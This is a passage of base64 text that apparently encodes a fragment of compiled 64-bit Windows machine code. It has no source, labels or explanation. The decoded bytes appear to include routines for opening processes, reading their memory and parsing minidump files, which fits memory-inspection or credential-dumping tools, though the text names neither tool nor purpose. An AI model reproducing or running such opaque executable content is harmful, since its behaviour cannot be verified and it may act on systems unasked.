CFwA+ElAEAAItGCEGLzovQiUXA/xU1vwgASIvYSIXAD4RNAQAARItFwEiLyEiLViTo+asGAEiLTchIjUXASIlEJChFM8lFM8BIiVwkIDPS/xXRtggAhcAPhPgAAABEi0XATI1N4ESLawRBg8DsSIvTx0QkIBQAAAC5BIAAAOjoxP//hcAPhN8AAACLTcBIi0QZ7Eg7ReAPhc0AAABIi0QZ9Eg7RegPhb4AAACLRBn8O0XwD4WxAAAAixdBjUwkQEyLdVBBiRb/FYK+CABJiQdIhcAPhJEAAABFiwZIjVcISIvI6EerBgBIi3VYSI1LCEkDzUwhJv8Va7YIAIvQQY1MJECJRcD/FUO+CABIiQZIhcB0GotNwEyNQwhNA8VIi9D/FUi2CABEi+CFwHU8SYsPSIXJdAn/Fdu9CABJiQdIiw5Ihcl0Cf8Vyr0IAEiJBkGDJgDrFP8V270IAIvQSI0NOiUKAOghJgAASIvL/xWkvQgASItdYEiLTcj/Fd61CABIi03Y6I3H//+FwHU5/xWjvQgASI0NRCYKAOsj/xWUvQgAi9BIjQ2TJQoA6NolAADrxP8Vfr0IAEiNDd8kCgCL0OjEJQAASIvP/xVHvQgASItN0P8VhbUIAEiLCzPS/xXqtAgATI1cJHBBi8RJi1swSYtzOEmLe0BJi+NBX0FeQV1BXF3DzEiJXCQQTIlMJCBEiUQkGFVWV0FUQVVBVkFXSIPsYESLcRy4BIAAAEiL2TP2QYH+CYAAAEyL6kQPRPBBi87oFtP//4tLKOgy1P//i0soi/jolNP//41OQESNPDhBi9f/FeS8CABIi+hIhcAPhKsBAADHRCRAAQAAAESNZhBEiXwkOEyNSzRIiUQkMESNfhSLQyBFi8eJRCQoSYvVQYvORIlkJCDoPMn//4XAD4RiAQAAi0soSI1EJFBIiUQkKEUzyUiNhCSgAAAARIvHSIvVSIlEJCDozM///4XAD4QeAQAASIuMJKAAAABEjW4BQYvVTI0EL0Uzyf8V9LMIAIXAD4TPAAAAi0NUjU5Ai9CJhCSwAAAA/xUvvAgASIv4SIXAD4SuAAAARIuEJLAAAABIi8hIi1NM6O+oBgBIi4wkoAAAAEiNhCSwAAAASIlEJChFM8lFM8BIiXwkIDPS/xW/swgAhcB0ZUSLcyxIi9dIi4wkwAAAAEU790UPQv5Fi8fopagGAItbMEmNFD5Ii4wkuAAAAEE73EQPQuNFi8Toh6gGAEGL9YPD8HQhM9KF23QbhfZ0FzPJi8JJA8Y4TDgQD5TBQQPVI/E703LlSIvP/xU9uwgASIuMJKAAAAD/FXezCABIi0wkUOglxf//hcB1I/8VO7sIAEiNDawkCgDrDf8VLLsIAEiNDY0lCgCL0OhyIwAASIvN/xX1uggAi8ZIi5wkqAAAAEiDxGBBX0FeQV1BXF9eXcPMzMxIiVwkCEiJdCQQV0iD7CCL8UiNPShSCQAz24vGi8vT6KgBdA9IixdIjQ1aCgoA6BkjAAD/w0iDxwiD+wVy3EiLXCQwSIt0JDhIg8QgX8PMzEiJXCQISIl0JBBXSIPsIEiL8TPSM8kz2/8VMroIAIvQjUtASAPSi/j/FZK6CABIiQZIhcB0KIX/dBtIi9CLz/8VC7oIAIvIjUf/O8h1B7sBAAAA6wlIiw7/FSq6CABIi3QkOIvDSItcJDBIg8QgX8NIiVwkCEiJdCQYV0iD7CBIi/pIi/Ez27oEAQAAjUtA/xUruggASIvOSIkH/xXnvAgAhcB0MkiNTCQ46FH///+FwHQ2SItUJDhMi8ZIiw//FaS8CABIi0wkOEiFwA+Vw/8Vs7kIAOsOSIsPSIvW/xWNvAgAi9iF23UJSIsP/xWWuQgASIt0JECLw0iLXCQwSIPEIF/DQFNIg+xASINkJDAARTPJg2QkKAAz0sdEJCADAAAAQY1ZAUSLw/8VibkIAEiNSP9Ig/n9dwtIi8j/FVa5CADrAjPbi8NIg8RAW8PMzEiLxEiJWAhIiWgQSIlwGFdBVkFXSIPsQDPbRTPJOR3FcA0AQYvoTIvyiVggTIv5i/MPhKQAAABIjUAgi9VEjUMBSIlEJCBJi87/FZmzCACFwA+E5wAAAItUJHiNS0BIA9L/FQm5CABIi/hIhcAPhMsAAABIjUQkeEyLz0SNQwFIiUQkIIvVSYvO/xVZswgAi/CFwHQ7SYvXSI0NsSUKAOgIIQAAOVwkeHYai8sPtxRPSI0NGSYKAOjwIAAA/8M7XCR4cuZIjQ0NJgoA6NwgAABIi8//FV+4CADrY0iJXCQwRTPAiVwkKLoAAABAx0QkIAIAAAD/FW64CABIi/hIjUj/SIP5/Xc3TI1MJHhIiVwkIESLxUmL1kiLyP8VWLgIAIXAdBE7bCR4dQtIi8//FcW3CACL8EiLz/8VCrgIAEiLXCRgi8ZIi3QkcEiLbCRoSIPEQEFfQV5fw8zMzEiJXCQISIl0JBBIiXwkGEFWSIPsUDPbSYv4OR1wbw0ATIvydCjoBnkAAIvYhcAPhbsAAAD/FcK3CACL0EiNDXElCgDoCCAAAOmiAAAASCFcJDBFM8khXCQougAAAIDHRCQgAwAAAEWNQQH/FZy3CABIi/BIjUj/SIP5/XdySI1UJEBIi8j/FUG3CACFwHRXOVwkRHVRSItEJEC5QAAAAIvQiQf/FWu3CABJiQZIhcB0NUSLB0yNTCR4SCFcJCBIi9BIi87/FVq3CACFwHQPi0QkeDkHdQe7AQAAAOsJSYsO/xX2tggASIvO/xX9tggASIt0JGiLw0iLXCRgSIt8JHBIg8RQQV7DzEUz20WLy2ZEORl0O0iLwUQPtwBIjRXCTgkAQboJAAAAZkQ7AnUGQbh+AAAASIPCAkmD6gF16kH/wWZEiQBKjQRJZkQ5GHXIw0iLxEiJWBBEiUggRIlAGEiJSAhVVldIgeygAgAAM8BBi9mL6EiL8kiL+f8VLLYIAIP4/w+EbwIAAKgQD4RnAgAAM8A5hCTgAgAAdDyF23U4TIvPTI0F5sQJADPSSI0NmSQKAOiYHgAASIX2dA9Ii9ZIjQ2tJAoA6IQeAABIjQ2pxgkA6HgeAAC6CAIAALlAAAAA/xUstggASIvYSIXAD4T7AQAATIvHugQBAABIi8jogOoGAIXAD4XjAQAATI0FbSQKALoEAQAASIvL6MzqBgCFwA+FxwEAAEiF9kyNBVIkCgC6BAEAAEiLy0wPRcboqeoGAIXAD4WkAQAASI1UJFBIi8v/FXu1CABIiUQkQEiD+P8PhIcBAABIjRUZJAoASI1MJHzok+gGAIXAD4RLAQAASI0VBCQKAEiNTCR86HroBgCFwA+EMgEAAEyLx7oEAQAASIvL6NrpBgCFwA+FGgEAAEyNBccjCgC6BAEAAEiLy+gm6gYAM8mFwA+F/AAAAEiDz/9I/8dmOQx7dfdMjUQkfLoEAQAASIvL6P3pBgAz0oXAD4XLAAAAi4wk4AIAAIXJdEaLjCTYAgAATI1EJHyLRCRQRIvJwegD99BMiUQkKIPgAo0UCYPIREyNBV/DCQBIjQ1cIwoAiUQkIOgPHQAAi4wk4AIAADPS9kQkUBB1KkyLlCToAgAATYXSdGZMi4wk8AIAAEiL04uMJNgCAACLx0yNBENB/9LrQzmUJNACAAB0QEiLhCTwAgAAQbgBAAAARIuMJNgCAABIi9ZIiUQkMEH/wUiLhCToAgAASIlEJCiJTCQgSIvL6JL9//+L6IXAdSBIi7wkwAIAAEiLTCRASI1UJFD/FeizCACFwA+FhP7//0iLTCRA/xXFswgASIvL/xXkswgAi8VIi5wkyAIAAEiBxKACAABfXl3DzMzMTIvcSYlbCEmJcxhJiVMQV0iD7FCDZCQ8AEiNBXB8AADHRCQ4CgAAAEiNFX1mCgBJiUPoSY1LyEiLhCSAAAAASYlD8P8V27kIAEiDZCRoAEiNRCQgRTPASIlEJDBIjVQkaEGNSBDoXiEAAIvwhcB4NUiLXCRoM/85O3Yhi9dI/8JIjRR6SI0M00iNVCQw6CYAAACFwHQG/8c7O3LfSIvL/xUnswgASItcJGCLxkiLdCRwSIPEUF/DzEiJXCQYSIlsJCBWV0FWSIPsQESLAUiL2kyL8b4BAAAAM9KNfj+Lz/8Vj7IIAEiL6EiFwA+E2QAAAP8VjbIIAEEPt1YGTI1MJGhMi8BIi82LQwyJRCQwi0MIiXQkKIlEJCD/FV2yCACFwA+EmgAAAEiLTCRoSI1EJGBFM8lIiUQkIEUzwI1WAf8V17gIAD0EAADAdWqLVCRgi8//FayyCABIi/hIhcB0VkSLTCRgSI1EJGBIi0wkaI1WAUyLx0iJRCQg/xWcuAgAhcB4KUiLE0iF0nQQRIrGSIvP/xWUuAgAhMB0EUyLQxhJi9ZIi0wkaP9TEIvwSIvP/xUWsggASItMJGj/FRuyCABIi83/FRKyCABIi1wkcIvGSItsJHhIg8RAQV5fXsPMSIvESIlYEEiJaBhIiXAgSIlICFdBVEFVQVZBV0iD7FBEi7wksAAAADP2SIucJKgAAABFi+FNi+hEi/JMi9FFhf91SkiF23QEiwPrAjPASIu8JKAAAABIhf90BUiLD+sCM8lIIXQkOEiNVCRASIlUJDBBi9aJRCQoSIlMJCBJi8r/FQaxCACL8OmMAAAASIu8JKAAAABMi7wkgAAAAMcDAAABAIsTuUAAAAD/FXSxCABIiQdIhcB0WUiDZCQ4AEiNTCRASIlMJDBFi8yLC02LxYlMJChBi9ZJi89IiUQkIP8Vp7AIAIvwhcB0BDPt6xj/FRexCACL6D3qAAAAdQlIiw//FeWwCADRI4H96gAAAHSSRIu8JLAAAACF9nUo/xXpsAgAQYvWSI0Nlx8KAESLwOgrGQAARYX/dBZIiw//FamwCADrC0iF23QGi0QkQIkDTI1cJFCLxkmLWzhJi2tASYtzSEmL40FfQV5BXUFcX8NIi8RIiVgISIloEEiJcBhIiXggQVZIg+xAM9tIjQ0qIAoASIlY6EGL8UmL6IlY4ESL8sdA2AMAAABFM8lFM8C6AAAAwP8VYrAIAEiL+Ej/yEiD+P13OkiLRCR4RIvOx0QkMAEAAABMi8VIiUQkKEGL1kiLRCRwSIvPSIlEJCDoDf7//0iLz4vY/xX+rwgA6xT/FQawCACL0EiNDUUfCgDoTBgAAEiLbCRYi8NIi1wkUEiLdCRgSIt8JGhIg8RAQV7DzMzMTIvcSYlbCEmJcxBXSIPsUEmDY+gASY1DIEmJQ9BFi8hJjUPoTIvCi9FJiUPI6Ar///+L8IXAdDOLVCR40ep0IEiLXCRAi/oPtxNIjQ3/HAoA6NYXAABIjVsCSIPvAXXnSItMJED/FU2vCABIi1wkYIvGSIt0JGhIg8RQX8PMzMxIiVwkCEiJbCQQSIl0JBhXQVRBVUFWQVdIg+wgumgAAABIi9mNStj/FUOvCABMi+hIhcAPhNIAAAAPEANIjUsoDxEADxBLEA8RSBDyDxBDIPIPEUAgRItQCESLQBBEi0ggSIlIKEmNFAqLSBxIA8pIiVAwi1AMSAPRSIlIOEwDwkiJUEBMiUBISY1NKE0DyEGL0kSLQBRNA8FMiUhQTIlAWItAGEkDwEmJRWDolGsAAEGLVRxJjU0w6IdrAABBi1UMSY1NOOh6awAAQYtVEEmNTUDobWsAAEGLVSBJjU1I6GBrAABBi1UUSY1NUOhTawAAQYtVGEmNTVjoRmsAAEGLVSRJjU1g6DlrAABIi1wkUEmLxUiLbCRYSIt0JGBIg8QgQV9BXkFdQVxfw8xIiVwkCFZIg+wwSIvaSI01rLwJAEyLxkiNDdYdCgAz0uhbFgAASIXbD4Q2AgAARIsLSI0NHAIKAEyLxkSJTCQgM9LoORYAAESLSwhIjQ3SHQoATIvGRIlMJCAz0ugfFgAARItLDEiNDQgeCgBMi8ZEiUwkIDPS6AUWAABEi0sQSI0NPh4KAEyLxkSJTCQgM9Lo6xUAAESLSxRIjQ10HgoATIvGRIlMJCAz0ujRFQAARItLGEiNDaoeCgBMi8ZEiUwkIDPS6LcVAABEi0scSI0N4B4KAEyLxkSJTCQgM9LonRUAAESLSyBIjQ0WHwoATIvGRIlMJCAz0uiDFQAARItLJEiNDUwfCgBMi8ZEiUwkIDPS6GkVAABMi8ZIjQ2DHwoAM9LoWBUAAEiLUyhIjQ2pHwoA6EgVAABMi8ZIjQ2iHwoAM9LoNxUAAItTHEUzwEiLSzDoWGcAAEiNDU29CQDoHBUAAEyLxkiNDa4fCgAz0ugLFQAAi1MMRTPASItLOOgsZwAASI0NIb0JAOjwFAAATIvGSI0Nuh8KADPS6N8UAABIi1NASIXSdBCDexAAdAq5AQAAAOiS1P//TIvGSI0NyB8KADPS6LUUAABIi1NISIXSdBCDeyAAdAq5AQAAAOho1P//TIvGSI0N1h8KADPS6IsUAACLUxRFM8BIi0tQ6KxmAABIjQ2hvAkA6HAUAABMi8ZIjQ3iHwoAM9LoXxQAAEiLU1hIhdJ0EIN7GAB0CrkBAAAA6BLU//9Mi8ZIjQ3wHwoAM9LoNRQAAEiLU2BIhdJ0EIN7JAB0CrkBAAAA6OjT//9Ii1wkQEiDxDBew8xIi8RIiVgISIloEEiJcBhIiXggQVRBVkFXSIPsIESLeQgz9kiL2kiL+USL5kONBP/B6ASNTkCDwBSL0EGJAP8VkKsIAEiJA0iL6EiFwA+EzAAAAMcABwIAAESNZgHHQAQApAAAQYv3iwdFi/eJRQhEiX0Mi0cQSIPHFIlFEEiL10iDxRRIwe4DSIvNTIvG6CGYBgBBi8dJwe4EwegDSAPug8AITYvGSAP4SIvNSIvX6ACYBgBBwe8ESQPuQYPHBE2LxkGL30iLzUgD+0iL1+jhlwYASQPuSAP7SIvXSIvNTYvG6M2XBgBJA+5IA/tIi9dIi81Ni8bouZcGAEkD7kgD+0iL10iLzU2LxuillwYASY0UP0yLxkmNDC7olZcGAEiLXCRAQYvESItsJEhIi3QkUEiLfCRYSIPEIEFfQV5BXMPMzMxIiVwkCEiJdCQQSIl8JBhBVkiD7CC6UAAAAEiL2Y1K8P8VaqoIAEiL8EiFwA+EigAAAA8QA0yNdixMjU40DxEATI1GOA8QSxAPEUgQ8g8QQyDyDxFAIItLKIlIKEiNQyyLTgiLVhBIA8hJiQboIwIAAIXAdQxIjQ1EHgoA6EsSAACLVghJi85Ei04Qi0YUTAPKTQMOSQPBTIlOQEiJRkjowGYAAItWFEiNTkDotGYAAItWGEiNTkjoqGYAAEiLXCQwSIvGSIt0JDhIi3wkQEiDxCBBXsPMzMxIiVwkCFdIg+wwSIvaSI09ILgJAEyLx0iNDWIeCgAz0ujPEQAASIXbD4SAAQAARIsLSI0NcB4KAEyLx0SJTCQgM9LorREAAESLSwRIjQ2mHgoATIvHRIlMJCAz0uiTEQAARItLCEiNDdweCgBMi8dEiUwkIDPS6HkRAABEi0sMSI0NEh8KAEyLx0SJTCQgM9LoXxEAAESLSxBIjQ1IHwoATIvHRIlMJCAz0uhFEQAARItLFEiNDX4fCgBMi8dEiUwkIDPS6CsRAABEi0sYSI0NtB8KAEyLx0SJTCQgM9LoEREAAEyLx0iNDesfCgAz0ugAEQAARTPASI1LHEGNUBDoIGMAAEiNDRW5CQDo5BAAAEyLx0iNDf4fCgAz0ujTEAAAi1MISI0NLSAKAEyLQyxI0erovRAAAEyLx0iNDScgCgAz0uisEAAARItDNLkBAAAASItTOOj2AQAATIvHSI0NRCAKADPS6IkQAABIi1NASIXSdBCDexQAdAq5AQAAAOg80P//TIvHSI0NWiAKADPS6F8QAABIi1NISIXSdBCDexgAdAq5AQAAAOgS0P//SItcJEBIg8QwX8PMzMxIiVwkCEiJbCQQSIl0JBhXQVRBVUFWQVdIg+wgM/ZNi/BBITFFM8BJi/lMi+mF0nQMRQMECEH/AUQ7wnL0QYsRuUAAAABIweID/xWtpwgASYkGSIXAD4SLAAAAM+1FM+SNdQE5Lw+GjAAAAIX2dHe6JAAAAI1KHP8Vf6cIAEyL+EiFwHQ9Qw8QBCxJjU8UTY1FFA8RAEOLRCwQTQPEQYlHEEGLVwxMiQFKjQQCSYlHHOgbZAAAQYtXEEmNTxzoDmQAAEmLBkyJPOhNhf90DEmLBkiLDOhEAyHrAjP2/8U7L3KJhfZ1EYsXSYsO6CgAAABJgyYAgycASItcJFCLxkiLdCRgSItsJFhIg8QgQV9BXkFdQVxfw8zMSIXJdHZIiVwkCEiJbCQQSIl0JBhXSIPsIEiL8YXSdD5Ii/mL6kiLH0iF23QnSItLFEiFyXQG/xVwpggASItLHEiFyXQG/xVhpggASIvL/xVYpggASIPHCEiD7QF1x0iLzv8VRaYIAEiLXCQwSItsJDhIi3QkQEiDxCBfw0WFwA+EYgEAAEiLxEiJWAhIiWgQSIlwGEiJeCBBVkiD7DBBi9hIi/qL6UiF0g+EHgEAAIvTSI0NxCAKAOhjDgAAhdsPhAgBAAAD7UyNNZK0CQBIizdIjQ18HgoATYvGi9XoPg4AAEiF9g+E1AAAAESLDkiNDZ8eCgBNi8ZEiUwkIIvV6BwOAABEi04ESI0N1R4KAE2LxkSJTCQgi9XoAg4AAESLTghIjQ0LHwoATYvGRIlMJCCL1ejoDQAARItODEiNDUEfCgBNi8ZEiUwkIIvV6M4NAABEi04QSI0Ndx8KAE2LxkSJTCQgi9XotA0AAE2LxkiNDaYfCgCL1eijDQAAi1YMSI0N/RwKAEyLRhRI0erojQ0AAE2LxkiNDa8fCgCL1eh8DQAAi1YQRTPASItOHOidXwAASI0Ncv8JAOhhDQAASIPHCEiD6wEPhQH///9Ii1wkQEiLbCRISIt0JFBIi3wkWEiDxDBBXsNIiVwkCFdIg+xQM9tIi/kz0olcJCBIjUwkKESNQyjouZgGAEyNTCRoM8lEjUMBSI1UJCD/FfOcCACFwHghSItMJGiNUwxMi8f/FeacCABIi0wkaIXAD5nD/xXGnAgAi8NIi1wkYEiDxFBfw8xMi9xJiVsISYlzEFdIg+wwgcoAAAJASY1DIEmJQ/BJi/CJVCQgM9tIi9FJiVsgM8lFM8lFM8D/FYSkCACFwHVdSItEJFhIiwhIg8j/SP/AZjlcQQR19o0ERQIAAAC5QAAAAIvQi/j/FSSkCABIiQZIi8hIhcB0GUiLRCRYRIvHuwEAAABIixBIg8IE6OCQBgBIi0wkWP8VLaQIAOsOi9BIjQ2qHgoA6CEMAABIi3QkSIvDSItcJEBIg8QwX8PMzMxIiVwkCEiJdCQQV0iD7CBJiwAz20mL+EiL8okIhckPhJAAAACD6QF0cYPpAXQ8g+kBdAmD+QMPhYEAAAC6CAAAAI1KOP8VhqMIAEiLyEiLB0iFyUiJSAh0ZEiLB7sBAAAASItICEiJMetcuggAAACNSjj/FVijCABIi8hIiwdIiUgISIXJdDZIixdIi85Ii1II6BoIAACL2OsfuggAAACNSjj/FSijCABIiw9IhcBIiUEI66O7AQAAAIXbdQlIiw//FdKiCABIi3QkOIvDSItcJDBIg8QgX8NIiVwkCFdIg+wgSIvZSIXJdFqLEYPqAXQPg+oBdB+D6gF0BYP6A3UKSItJCP8VjqIIAEiLy/8VhaIIAOsxSItBCEiFwHTsSIs4SItPCEiFyXQG/xWooQgASIsPSIXJdAb/FWqiCABIi0sI68AzwEiLXCQwSIPEIF/DzMzMTIvcSYlbEE2JQxhVVldIg+xQM9tIjQXhWQ0ASIv6SYlb2EiLUQhIi/FJiUPgSYvoiwqFyQ+EEwEAAIPpAQ+EkwAAAIPpAnRfg/kDD4XWAQAASItHCDkYD4WeAAAASDkedB1Ii0oIRTPJixZFM8BIiwn/FUWhCACFwA+EqAEAAEiLRghMjUwkcEiLF0SLxUiJXCQgSItICEiLCf8V5KEIAIvY6YABAABIi0cIORh1TEiLSghEi82JXCQwuofBIgBIiVwkKEyLB0iLCUiJdCQg6ITv///rykiLRwg5GHUdSItKCEyLzUyLB0iLFkiJXCQgSIsJ/xXjoAgA66VIi9W5QAAAAP8Vc6EIAEiJRCRASIXAD4QQAQAATIvFSI1MJEBIi9fo2f7//4XAdBJMi8VIjVQkQEiLzujF/v//i9hIi0wkQP8V/KAIAOnaAAAASItXCIsKhckPhLwAAACD6QEPhJMAAACD6QF0dIPpAXRNg/kDD4WwAAAASItKCEUzyYsXRTPASIsJ/xUwoAgAg/j/D4SSAAAASItHCEyNTCRwSIsWRIvFSIlcJCBIi0gISIsJ/xXWoAgA6eX+//9Ii0oISI2EJIAAAACJXCQwRTPJSIlEJCi6g8EiAOnn/v//SItKCEyLzUyLB0iLFkiLCeh2BgAA6an+//9Ii0oITIvNTIsGSIsXSIlcJCBIiwn/FZKfCADpif7//0iLF0iLDug6jQYAuwEAAACLw0iLXCR4SIPEUF9eXcPMzEiLxEiJWCBMiUAYSIlQEEiJSAhVVldIi+xIg+xQRTPbSI0FnVcNAEmL8EiJRehNi0AQTIvJSItBCEGL+0yJXeBIix5MiUXwTIld+E6NFANMiVXYRDkYdSJIi1YIiwqFyQ+E3wAAAIPpAXRyg+kBdC6D6QF0aIP5A3RjSItdIIvH99iLx0gbyUgjy0iLnCSIAAAASIlOGEiDxFBfXl3DSItKCEiL00iLCeirBgAASIlF4EiFwHTESItVKEyNReBIi00gRTPJ6Db///+L+IXAdKpIix5IK13gSANd+OuhSYvQuUAAAAD/FVmfCABIiUXgSIXAdIZMi0YQSI1N4EiL1ujE/P//hcB0KkiLVShMjUXgSItNIEUzyejk/v//i/iFwHQQSIseSItN4Egr2UgDXfjrCEiLTeBIi10g/xXMnggA6Tn///9Ii3UoSI0EM0iJRdBJO8J3MEmLCUyLxkiL0+hgiAgATItNIDP/TItV2IXASItF0EAPlMdI/8BI/8NIiUXQhf90y0iLdTBI/8vp7P7//8zMTIvcSYlbEFdIg+xAM9tJiUsgSIkZSIv5SItJCMdEJFAIAAAARIsJRYXJdFhBg+kBdDNBg/kCdWBIi0kISY1DCIlcJDBEi8pJiUPgRTPASY1DILqLwSIASIsJSYlD2Ogp7P//6zNIi0kIQbkAEAAARIlEJCBMi8Iz0kiLCf8VXp0IAOsRRYvIM8lBuAAQAAD/FWOdCABIiQdIOR8PlcOLw0iLXCRYSIPEQF/DzEBTSIPsQEyL0TPbSItJCIsRhdJ0TIPqAXQsg/oCdVVIi0kIRTPJTYsCuo/BIgCJXCQwSIlcJChIiwlIiVwkIOic6///6y5Ii0kIQbkAgAAASYsSRTPASIsJ/xXFnAgA6xFJiwoz0kG4AIAAAP8V4pwIAIvYi8NIg8RAW8NIiVwkCEiJbCQQSIl0JBhXQVRBVUFWQVdIg+wgM/9Ii9lIi0kITIvaRIvXRIsBRYXAD4TKAAAAQYPoAQ+EpQAAAEGD+AEPhdAAAABIi0kIjXcQi9ZIiwno4AIAAEiL0EiFwA+EswAAAIvPSDl4CA+GpwAAAI1vJESNdxhEjX8IRI1nIESNbyhFhdIPhYsAAABMiwdMOQNyP02LDkuNBAFIOQN3M0mLB0G6AQAAAEmJQwiLBkGJQxCLRQBBiUMkQYsEJEGJQyBBi0UAQYlDKE2JA02JSxjrA0SL1//Bi8FIO0IIcqPrNUiLSQhBuTAAAABIixNNi8NIiwn/FZmbCADrD0iLC0G4MAAAAP8VkJsIAEiD+DBEi9dBD5TCSItcJFBBi8JIi2wkWEiLdCRgSIPEIEFfQV5BXUFcX8PMSIlcJBBXSIPsMEiL+UUz0kiLSQhJi9lEixlFhdt0KEGD+wF1QkiLSQhIjUQkQEWLyEiJRCQgTIvCSIsXSIsJ/xU/mwgA6w5Iiw9MjUwkQP8VT5sIAESL0IXAdAtIhdt0BotEJECJA0GLwkiLXCRISIPEMF/DzMzMSIlcJAhIiWwkEEiJdCQYV0FWQVdIg+xASIuEJIAAAABMi/mL6jPbTYvxSYvwixCNS0D/FZybCABIi/hIhcB0WIvVjUtA/xWJmwgASIkGSIXAdDxIiXwkOLkCAQAATIl0JDBMi8jHRCQoABAAAESLxUmL14lsJCD/FV+hCACFwA+Zw4XbdQlIiw7/FQ2bCABIi8//FQSbCABIi2wkaIvDSItcJGBIi3QkcEiDxEBBX0FeX8PMSIlcJAhIiXQkEFdIg+wwM/9Ii9pIi/GNVxCNT0D/Ff2aCABIiQNIhcAPhJMAAABIIXwkKESNRwIhfCQgRTPJM9JIi87/FdaZCABIi8hIiwNIiQhIiwNIiwhIhcl0REghfCQgjVcERTPJRTPA/xWmmQgASIvISIsDSIlICEiFyXQhSIsDSItICIE5TURNUHUSuJOnAABmOUEEdQe/AQAAAOsgSIsbSItLCEiFyXQG/xV0mQgASIsLSIXJdAb/FTaaCABIi1wkQIvHSIt0JEhIg8QwX8NMi0kIM8BFi0EMTQPBQTlBCHYTSYvIORF0D//ASIPBDEE7QQhy8DPAw0iNDEBBi0SICEkDwcPMzEiLxEiJWAhIiWgYSIlwIEiJUBBXQVRBVUFWQVdIg+wwM9tNi+lJi/BIiVwkIEyL0USL241TCeiN////TIv4SIXAD4TCAAAASItoCESL40kDaghIORgPhqgAAABIjXgQSIsPSIl8JChIO/FyDUiLVwhIjQQKSDvwcihOjQQuTDvBcg1Ii1cISI0ECkw7wHISSDvxc1ZIi1cISI0ECkw7wHZJSDvxcwhMi8NIK87rCUyLxkwrwUiLy02L9Uwr8UuNBAZIO8J2BkyL8k0r8EgDTCRoSY0UKE2LxugXhgYATItcJCBNA95MiVwkIEiLRCQoSf/ESIPHEEgDaAhNOycPglz///9NO90PlMNIi2wkcIvDSItcJGBIi3QkeEiDxDBBX0FeQV1BXF/DSIvESIlYCEiJaBBIiXAYSIl4IEFUQVZBV0iD7CAz7UiL+k2L4EiL2UUz2zP2RTPSjVUJ6Gj+//9IhcB0cUyLQAhMA0MIM9tMizBNhfZ0X0iNUBBIiwpMi/pIO/lyI0yLSghJjQQJSDv4cxFNi9FNi9hMK9dJi/FMA9HrGkg7+XMYTYXbdChIjQQuSDvIdR9Ii3IITAPWSIvpTTvUczFNA0cISP/DSIPCEEk73nKlM8BIi1wkQEiLbCRISIt0JFBIi3wkWEiDxCBBX0FeQVzDSYvD69xIi8RIiUgISIlQEEyJQBhMiUggU1ZXSIPsMEiL+UiNcBC5AQAAAOhlzgYASIvY6GV///9FM8lIiXQkIEyLx0iL00iLCOijxgYASIPEMF9eW8PMzMxIi8RIiUgISIlQEEyJQBhMiUggU1ZXQVRBVkFXSIPsOEiDPTRPDQAATI14EEiL2Q+EFAEAAOgKf///TIl8JChMi8tIg2QkIABFM8Az0kyL8EiLCEiDyQLoLMcGAEGDzP+FwEEPSMSFwA+O1gAAAEiLPfdODQBIiw3oTg0ASGPQSIvHSCvBSP/ISDvQdntIjQQ6SI08RQIAAABIjRQ/QY1MJEH/FRyXCABIi/BIhcB0NkyLBa1ODQBIi8hIixWbTg0ATQPA6NuDBgBIiw2MTg0A/xW2lggASIk1f04NAEiJPYhODQDrG/8VwJYIAIvQSI0N5xEKAOiy/v//SIs9a04NAEiLDVxODQBIiwVNTg0ASCv5TItMJHBMi8dMiXwkKEiDZCQgAEiNFEhJiw7oj8gGAIXAQQ9IxIXAfglImEgBBSBODQBIi1wkcEiLPQRODQBIhf90J+jqff//RTPJTIl8JCBMi8NIi9dIiwjoKMUGAEiLDd1NDQDo/M4GAEiDxDhBX0FeQVxfXlvDzMxIiVwkCEiJdCQQV0iD7CAz20iL8Yv7SIXJdB1IjRVeEQoA6N3QBgBIi/hIhcB1CUiLPZJNDQDrHUiLDYlNDQBIhcl0BehrzwYASIk9eE0NAEiF9nQFSIX/dAW7AQAAAEiLdCQ4i8NIi1wkMEiDxCBfw8zMzEiJXCQQSIl0JBhVV0FUQVVBVkiL7EiD7HBIi0EIM/9Ni9BIiUW4TIvaSI0FFE0NAEUz5EiJRchIOX1gSIvZTIvBSYvSQQ+UxEmLy0ghfbAz9kghfcBNi+mJdTDoIPX//4XAD4QFAQAASGNFWESNd0BIA0MYSItdUEiJRbBIOXVgdChIi9NBi87/FTaVCABIiUXASIXAdBNMi8NIjVWwSI1NwOih8v//RIvgRYXkD4S6AAAASI1V0EiNTbDofPf//4XAD4SWAAAAi030i8GD4A9Ei8H/yEGB4AD///+D+AJ3CEG+BAAAAOsNgeHwAAAA/8mD+T53GkULxkyNTTBIi9NIjU2w6G/4//+FwHRRi3UwTIvDSI1NsEmL1egp8v//i/iFwHQjSIN9YAB0HEiLVXCLTWj/VWBMi8NIjVXASI1NsOgC8v//i/iF9nQSRTPJSI1NsESLxkiL0+ga+P//SItNwEiFyXQG/xUflAgATI1cJHCLx0mLWzhJi3NASYvjQV5BXUFcX13DSIlcJAhIiXQkGFVXQVRBVkFXSI1sJNFIgezgAAAASI0Fl0sNAEUz9kwhda8z/0whdZ9Ni+FIiUW3TYv4SIlFpzPASIXSD4SIAQAARIsFwlMNAEQ5AXcPSIv5SP/ASIPBUEg7wnLsSIX/D4RkAQAASItHEEiNFaI7CgBIiUWvQbgBAAAASItHIDPJSIlFn/8VmIwIAEiFwHQPTIvASI1V/0mLz+hkRAAAhcAPhA0BAACDfQMED4L6AAAARItFGzPSuTgEAAD/FeGSCABIi/BIhcAPhM4AAAC6EAAAAI1KMP8VV5MIAEiJRWdIi9hIhcB0EUyNRWdIi9a5AQAAAOhq7///hcAPhNUAAABMjUW/SYvUSIvL6JcIAACFwHRqTCF0JEBMjU2fi0XPSI1Vr0QhdCQ4i08YDxBFv0whdCQwRItHCEiJRe+LRyiJRCQoSIlMJCBIjU3f8w9/Rd/oGP3//0SL8IXAdBFJi9dIjQ0bDgoA6AL7///rI/8VppIIAEiNDTcOCgDrDf8Vl5IIAEiNDcgOCgCL0Ojd+v//SIvL6KHv///rOv8VeZIIAEiNDZoPCgDrFkiNDTEQCgDrHf8VYZIIAEiNDcIQCgCL0Oin+v//6wxIjQ1yEQoA6Jn6//9MjZwk4AAAAEGLxkmLWzBJi3NASYvjQV9BXkFcX13DzMxIi8RIiVgISIloGEiJcCBXSIPsIEiL8ovpSIsSuwQAAMBIhdJ0DkyNSBD/FQyYCACL2OtGvwAQAACL17lAAAAA/xX2kQgASIkGSIXAdCxMjUwkOESLx0iL0IvN/xXblwgAi9iFwHkJSIsO/xWUkQgAA/+B+wQAAMB0v0iLbCRAi8NIi1wkMEiLdCRISIPEIF/DzMzMSIvESIloCEiJcBBIiXggQVZIg+wgSINgGABFM8BIi+pMi/FIjVAYQY1IBeg8////i/CFwHgsSIt8JEBIi8/rDYM/AHQSiwdIA/hIi89Ii9VB